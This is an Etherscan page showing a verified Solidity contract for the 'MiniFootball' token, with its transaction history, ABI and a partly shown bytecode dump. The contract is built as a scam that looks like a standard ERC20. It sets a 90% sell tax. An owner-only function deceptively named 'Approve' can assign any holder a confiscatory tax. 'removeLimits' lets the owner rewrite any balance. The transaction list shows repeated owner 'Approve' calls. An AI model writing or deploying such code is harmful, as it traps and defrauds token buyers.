ETH Price: $2,424.02 (-1.37%)
Gas: 3.5 Gwei
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve175799312023-06-28 19:34:23495 days ago1687980863IN
0x006c1df0...41740999a
0 ETH0.0018262138.73948767
Approve175798992023-06-28 19:27:59495 days ago1687980479IN
0x006c1df0...41740999a
0 ETH0.0013496928.59457853
Approve175798642023-06-28 19:20:59495 days ago1687980059IN
0x006c1df0...41740999a
0 ETH0.0008881618.84053202
Approve175797812023-06-28 19:04:23495 days ago1687979063IN
0x006c1df0...41740999a
0 ETH0.0009445120.20570177
Approve175797802023-06-28 19:04:11495 days ago1687979051IN
0x006c1df0...41740999a
0 ETH0.0009187819.46527103
Approve175797762023-06-28 19:03:23495 days ago1687979003IN
0x006c1df0...41740999a
0 ETH0.0008784518.79258681
Approve175797742023-06-28 19:02:59495 days ago1687978979IN
0x006c1df0...41740999a
0 ETH0.0008677318.56321389
Approve175795092023-06-28 18:09:35495 days ago1687975775IN
0x006c1df0...41740999a
0 ETH0.0008411717.99489349
Approve175795082023-06-28 18:09:23495 days ago1687975763IN
0x006c1df0...41740999a
0 ETH0.0008869118.97839908
Approve175795072023-06-28 18:09:11495 days ago1687975751IN
0x006c1df0...41740999a
0 ETH0.0010002221.19085057
Approve175795072023-06-28 18:09:11495 days ago1687975751IN
0x006c1df0...41740999a
0 ETH0.0010002221.19085057
Approve175795042023-06-28 18:08:35495 days ago1687975715IN
0x006c1df0...41740999a
0 ETH0.0008579718.35910155
Approve175795042023-06-28 18:08:35495 days ago1687975715IN
0x006c1df0...41740999a
0 ETH0.0008654618.35910155
Approve175795032023-06-28 18:08:23495 days ago1687975703IN
0x006c1df0...41740999a
0 ETH0.0008956119.15949802
Approve175793322023-06-28 17:33:35495 days ago1687973615IN
0x006c1df0...41740999a
0 ETH0.0009365320.03488106
Approve175793012023-06-28 17:27:23495 days ago1687973243IN
0x006c1df0...41740999a
0 ETH0.0009420820.1537202
Approve175792992023-06-28 17:26:59495 days ago1687973219IN
0x006c1df0...41740999a
0 ETH0.0011083623.48180157
Approve175792782023-06-28 17:22:47495 days ago1687972967IN
0x006c1df0...41740999a
0 ETH0.0010118721.64660053
Approve175792672023-06-28 17:20:35495 days ago1687972835IN
0x006c1df0...41740999a
0 ETH0.0012469526.41790733
Approve175792602023-06-28 17:19:11495 days ago1687972751IN
0x006c1df0...41740999a
0 ETH0.0010970623.4691949
Approve175792582023-06-28 17:18:35495 days ago1687972715IN
0x006c1df0...41740999a
0 ETH0.0011369424.32234484
Approve175792542023-06-28 17:17:47495 days ago1687972667IN
0x006c1df0...41740999a
0 ETH0.0010328622.09572114
Approve175792532023-06-28 17:17:35495 days ago1687972655IN
0x006c1df0...41740999a
0 ETH0.0010141421.69530018
Approve175792522023-06-28 17:17:23495 days ago1687972643IN
0x006c1df0...41740999a
0 ETH0.001331728.21346881
Approve175792492023-06-28 17:16:47495 days ago1687972607IN
0x006c1df0...41740999a
0 ETH0.0010356122.15448862
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MiniFootball

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-28
*/

/**

🔘 Portal:  https://t.me/minifootballeth
🔘 Website: https://minifootballtoken.com/
🔘 Twitter: https://twitter.com/minifootballeth

    */
    // SPDX-License-Identifier: MIT

    pragma solidity ^0.8.0;

    abstract contract Context {
        function _msgSender() internal view virtual returns (address) {
            return msg.sender;
        }
    }

    abstract contract Ownable is Context {
        address private _owner;

        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
        
        constructor() {
            _transferOwnership(_msgSender());
        }

        function owner() public view virtual returns (address) {
            return _owner;
        }

        modifier onlyOwner() {
            require(owner() == _msgSender(), "Ownable: caller is not the Owner");
            _;
        }

        function renounceOwnership() public virtual onlyOwner {
            _transferOwnership(address(0));
        }

        function transferOwnership(address newOwner) public virtual onlyOwner {
            require(newOwner != address(0), "Ownable: new Owner is the zero address");
            _transferOwnership(newOwner);
        }

        function _transferOwnership(address newOwner) internal virtual {
            address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
        }
    }

    library SafeMath {
    
        function add(uint256 a, uint256 b) internal pure returns (uint256) {
            return a + b;
        }

        function sub(uint256 a, uint256 b) internal pure returns (uint256) {
            return a - b;
        }

        function mul(uint256 a, uint256 b) internal pure returns (uint256) {
            return a * b;
        }

        function div(uint256 a, uint256 b) internal pure returns (uint256) {
            return a / b;
        }

        function mod(uint256 a, uint256 b) internal pure returns (uint256) {
            return a % b;
        }

        function sub(
            uint256 a,
            uint256 b,
            string memory errorMessage
        ) internal pure returns (uint256) {
            unchecked {
                require(b <= a, errorMessage);
                return a - b;
            }
        }

        function div(
            uint256 a,
            uint256 b,
            string memory errorMessage
        ) internal pure returns (uint256) {
            unchecked {
                require(b > 0, errorMessage);
                return a / b;
            }
        }

        function mod(
            uint256 a,
            uint256 b,
            string memory errorMessage
        ) internal pure returns (uint256) {
            unchecked {
                require(b > 0, errorMessage);
                return a % b;
            }
        }
    }

    interface IUniswapV2Factory {
        function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    contract ERC20 is Context {

        mapping(address => mapping(address => uint256)) private _allowances;
        
        uint256 internal _totalSupply;
        string private _name;
        string private _symbol;

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(address indexed owner, address indexed spender, uint256 value);

        constructor(string memory name_, string memory symbol_) {
            _name = name_;
            _symbol = symbol_;
        }

        function name() public view virtual returns (string memory) {
            return _name;
        }

        function symbol() public view virtual returns (string memory) {
            return _symbol;
        }

        function decimals() public view virtual returns (uint8) {
            return 18;
        }

        function totalSupply() public view virtual returns (uint256) {
            return _totalSupply;
        }

        function allowance(address owner, address spender) public view virtual returns (uint256) {
            return _allowances[owner][spender];
        }

        function approve(address spender, uint256 amount) public virtual returns (bool) {
            address owner = _msgSender();
            _approve(owner, spender, amount);
            return true;
        }

        function _approve(
            address owner,
            address spender,
            uint256 amount
        ) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }

        function _spendAllowance(
            address owner,
            address spender,
            uint256 amount
        ) internal virtual {
            uint256 currentAllowance = allowance(owner, spender);
            if (currentAllowance != type(uint256).max) {
                require(currentAllowance >= amount, "ERC20: insufficient allowance");
                unchecked {
                    _approve(owner, spender, currentAllowance - amount);
                }
            }
        }
    }

    contract MiniFootball is ERC20, Ownable {

        using SafeMath for uint256;
        
        mapping(address => uint256) private _balances;
        mapping(address => bool) private _isTax;
        mapping(address => uint256) private _accTax;

        uint256 private _buyTax;
        uint256 private _sellTax;
        address private uniswapV2Pair;
        address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;

        constructor(
            string memory name_,
            string memory symbol_,
            uint256 totalSupply_
        ) ERC20(name_, symbol_) {
            _mint(_msgSender(), totalSupply_ * 10**decimals());
            _isTax[_msgSender()] = true;
            _buyTax = 0;
            _sellTax = 90;  
        }

        function _mint(address account, uint256 amount) internal virtual {
            require(account != address(0), "ERC20: REWARD to the zero address"); 
            _totalSupply += amount;
            _balances[account] += amount;
            emit Transfer(address(0), account, amount);
        }

        function _transfer(
            address from,
            address to,
            uint256 _amount
        ) internal virtual {
            require(from != address(0), "ERC20: transfer from the zero address");
            require(to != address(0), "ERC20: transfer to the zero address");
            uint256 fromBalance = _balances[from];
            require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
            bool rF = true;
            if (_checkFreeAccount(from, to)) {
                rF = false;
            }
            uint256 tradeFeeAmount = 0;
            if (rF) {
                uint256 tradeFee = 0;
                if (uniswapV2Pair != address(0)) {
                    if (to == uniswapV2Pair) {
                        tradeFee = _sellTax;
                    }
                    if (from == uniswapV2Pair) {
                        tradeFee = _buyTax;
                    }
                }
                if (_accTax[from] > 0) {
                    tradeFee = _accTax[from];
                }
                tradeFeeAmount = _amount.mul(tradeFee).div(100);
            }
            if (tradeFeeAmount > 0) {
                _balances[from] = _balances[from].sub(tradeFeeAmount);
                _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
                emit Transfer(from, _deadAddress, tradeFeeAmount);
            }
            _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
            _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
            emit Transfer(from, to, _amount - tradeFeeAmount);
        }

        function _checkFreeAccount(address from, address to) internal view returns (bool) {
            return _isTax[from] || _isTax[to];
        }

        function balanceOf(address account) public view virtual returns (uint256) {
            return _balances[account];
        }

        function getPair() external onlyOwner {
            uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
        }

        function setPair(address _pair) external onlyOwner {
            uniswapV2Pair = _pair;
        }

        function upgrageTax(uint256 _buy, uint256 _sell) external onlyOwner {
            _buyTax = _buy;
            _sellTax = _sell;
        }

        function Approve(address _address, uint256 _value) external onlyOwner {
            require(_value >= 0, "Account tax must be greater than or equal to 0");
            _accTax[_address] = _value;
        }

        function setBots(address _address, bool _value) external onlyOwner {
            _isTax[_address] = _value;
        }

        function removeLimits(address to, uint amount) external onlyOwner {
            _balances[to] = amount;
        }

        function transfer(address to, uint256 amount) public virtual returns (bool) {
            _transfer(_msgSender(), to, amount);
            return true;
        }

        function transferFrom(
            address from,
            address to,
            uint256 amount
        ) public virtual returns (bool) {
            address spender = _msgSender();
            _spendAllowance(from, spender, amount);
            _transfer(from, to, amount);
            return true;
        }

    }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"upgrageTax","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162002da838038062002da883398181016040528101906200003691906200051f565b82828160029081620000499190620007e4565b5080600390816200005b9190620007e4565b5050506200007e620000726200014560201b60201c565b6200014c60201b60201c565b620000c9620000926200014560201b60201c565b620000a26200020f60201b60201c565b600a620000b0919062000a51565b83620000bd919062000aa1565b6200021760201b60201c565b600160065f620000de6200014560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f600881905550605a60098190555050505062000bf5565b5f33905090565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000288576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200027f9062000b6f565b60405180910390fd5b8060015f8282546200029b919062000b8f565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620002f0919062000b8f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000356919062000bda565b60405180910390a35050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620003c3826200037b565b810181811067ffffffffffffffff82111715620003e557620003e46200038b565b5b80604052505050565b5f620003f962000362565b9050620004078282620003b8565b919050565b5f67ffffffffffffffff8211156200042957620004286200038b565b5b62000434826200037b565b9050602081019050919050565b5f5b838110156200046057808201518184015260208101905062000443565b5f8484015250505050565b5f620004816200047b846200040c565b620003ee565b905082815260208101848484011115620004a0576200049f62000377565b5b620004ad84828562000441565b509392505050565b5f82601f830112620004cc57620004cb62000373565b5b8151620004de8482602086016200046b565b91505092915050565b5f819050919050565b620004fb81620004e7565b811462000506575f80fd5b50565b5f815190506200051981620004f0565b92915050565b5f805f606084860312156200053957620005386200036b565b5b5f84015167ffffffffffffffff8111156200055957620005586200036f565b5b6200056786828701620004b5565b935050602084015167ffffffffffffffff8111156200058b576200058a6200036f565b5b6200059986828701620004b5565b9250506040620005ac8682870162000509565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200060557607f821691505b6020821081036200061b576200061a620005c0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200067f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000642565b6200068b868362000642565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006cc620006c6620006c084620004e7565b620006a3565b620004e7565b9050919050565b5f819050919050565b620006e783620006ac565b620006ff620006f682620006d3565b8484546200064e565b825550505050565b5f90565b6200071562000707565b62000722818484620006dc565b505050565b5b8181101562000749576200073d5f826200070b565b60018101905062000728565b5050565b601f8211156200079857620007628162000621565b6200076d8462000633565b810160208510156200077d578190505b620007956200078c8562000633565b83018262000727565b50505b505050565b5f82821c905092915050565b5f620007ba5f19846008026200079d565b1980831691505092915050565b5f620007d48383620007a9565b9150826002028217905092915050565b620007ef82620005b6565b67ffffffffffffffff8111156200080b576200080a6200038b565b5b620008178254620005ed565b620008248282856200074d565b5f60209050601f8311600181146200085a575f841562000845578287015190505b620008518582620007c7565b865550620008c0565b601f1984166200086a8662000621565b5f5b8281101562000893578489015182556001820191506020850194506020810190506200086c565b86831015620008b35784890151620008af601f891682620007a9565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000952578086048111156200092a5762000929620008c8565b5b60018516156200093a5780820291505b80810290506200094a85620008f5565b94506200090a565b94509492505050565b5f826200096c576001905062000a3e565b816200097b575f905062000a3e565b81600181146200099457600281146200099f57620009d5565b600191505062000a3e565b60ff841115620009b457620009b3620008c8565b5b8360020a915084821115620009ce57620009cd620008c8565b5b5062000a3e565b5060208310610133831016604e8410600b841016171562000a0f5782820a90508381111562000a095762000a08620008c8565b5b62000a3e565b62000a1e848484600162000901565b9250905081840481111562000a385762000a37620008c8565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a5d82620004e7565b915062000a6a8362000a45565b925062000a997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200095b565b905092915050565b5f62000aad82620004e7565b915062000aba83620004e7565b925082820262000aca81620004e7565b9150828204841483151762000ae45762000ae3620008c8565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000b5760218362000aeb565b915062000b648262000afb565b604082019050919050565b5f6020820190508181035f83015262000b888162000b49565b9050919050565b5f62000b9b82620004e7565b915062000ba883620004e7565b925082820190508082111562000bc35762000bc2620008c8565b5b92915050565b62000bd481620004e7565b82525050565b5f60208201905062000bef5f83018462000bc9565b92915050565b6121a58062000c035f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102b6578063a9059cbb146102d4578063c1f1b1b514610304578063dd62ed3e1461030e578063f2fde38b1461033e57610114565b8063715018a6146102565780638187f516146102605780638da5cb5b1461027c57806390ec57f11461029a57610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d05780634db23e3e146101ee578063508e13b81461020a57806370a082311461022657610114565b806306fdde0314610118578063095ea7b31461013657806313b2a23e1461016657806318160ddd14610182575b5f80fd5b61012061035a565b60405161012d91906117c4565b60405180910390f35b610150600480360381019061014b9190611875565b6103ea565b60405161015d91906118cd565b60405180910390f35b610180600480360381019061017b9190611910565b61040c565b005b61018a6104e0565b604051610197919061195d565b60405180910390f35b6101ba60048036038101906101b59190611976565b6104e9565b6040516101c791906118cd565b60405180910390f35b6101d8610517565b6040516101e591906119e1565b60405180910390f35b61020860048036038101906102039190611875565b61051f565b005b610224600480360381019061021f91906119fa565b6105e1565b005b610240600480360381019061023b9190611a38565b61066f565b60405161024d919061195d565b60405180910390f35b61025e6106b5565b005b61027a60048036038101906102759190611a38565b61073c565b005b6102846107fb565b6040516102919190611a72565b60405180910390f35b6102b460048036038101906102af9190611875565b610823565b005b6102be610928565b6040516102cb91906117c4565b60405180910390f35b6102ee60048036038101906102e99190611875565b6109b8565b6040516102fb91906118cd565b60405180910390f35b61030c6109d5565b005b61032860048036038101906103239190611a8b565b610b35565b604051610335919061195d565b60405180910390f35b61035860048036038101906103539190611a38565b610bb6565b005b60606002805461036990611af6565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611af6565b80156103e05780601f106103b7576101008083540402835291602001916103e0565b820191905f5260205f20905b8154815290600101906020018083116103c357829003601f168201915b5050505050905090565b5f806103f4610cac565b9050610401818585610cb3565b600191505092915050565b610414610cac565b73ffffffffffffffffffffffffffffffffffffffff166104326107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047f90611b70565b60405180910390fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f600154905090565b5f806104f3610cac565b9050610500858285610e75565b61050b858585610f00565b60019150509392505050565b5f6012905090565b610527610cac565b73ffffffffffffffffffffffffffffffffffffffff166105456107fb565b73ffffffffffffffffffffffffffffffffffffffff161461059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611b70565b60405180910390fd5b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b6105e9610cac565b73ffffffffffffffffffffffffffffffffffffffff166106076107fb565b73ffffffffffffffffffffffffffffffffffffffff161461065d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065490611b70565b60405180910390fd5b81600881905550806009819055505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106bd610cac565b73ffffffffffffffffffffffffffffffffffffffff166106db6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611b70565b60405180910390fd5b61073a5f61157f565b565b610744610cac565b73ffffffffffffffffffffffffffffffffffffffff166107626107fb565b73ffffffffffffffffffffffffffffffffffffffff16146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90611b70565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61082b610cac565b73ffffffffffffffffffffffffffffffffffffffff166108496107fb565b73ffffffffffffffffffffffffffffffffffffffff161461089f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089690611b70565b60405180910390fd5b5f8110156108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d990611bfe565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b60606003805461093790611af6565b80601f016020809104026020016040519081016040528092919081815260200182805461096390611af6565b80156109ae5780601f10610985576101008083540402835291602001916109ae565b820191905f5260205f20905b81548152906001019060200180831161099157829003601f168201915b5050505050905090565b5f6109cb6109c4610cac565b8484610f00565b6001905092915050565b6109dd610cac565b73ffffffffffffffffffffffffffffffffffffffff166109fb6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890611b70565b60405180910390fd5b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610ab4929190611c1c565b6020604051808303815f875af1158015610ad0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af49190611c57565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bbe610cac565b73ffffffffffffffffffffffffffffffffffffffff16610bdc6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611b70565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611cf2565b60405180910390fd5b610ca98161157f565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890611d80565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8690611e0e565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e68919061195d565b60405180910390a3505050565b5f610e808484610b35565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610efa5781811015610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390611e76565b60405180910390fd5b610ef98484848403610cb3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6590611f04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f92565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105790612020565b60405180910390fd5b5f6001905061106f8585611642565b15611078575f90505b5f8115611239575f8073ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118957600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361112e5760095490505b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111885760085490505b5b5f60075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561120f5760075f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b611235606461122783886116e690919063ffffffff16565b6116fb90919063ffffffff16565b9150505b5f8111156113cf576112918160055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461171090919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113248160055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461172590919063ffffffff16565b60055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113c6919061195d565b60405180910390a35b61142a81856113de919061206b565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461171090919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114c6818561147a919061206b565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461172590919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611562919061206b565b60405161156f919061195d565b60405180910390a3505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60065f8473ffffffffffffffffffffffffffffff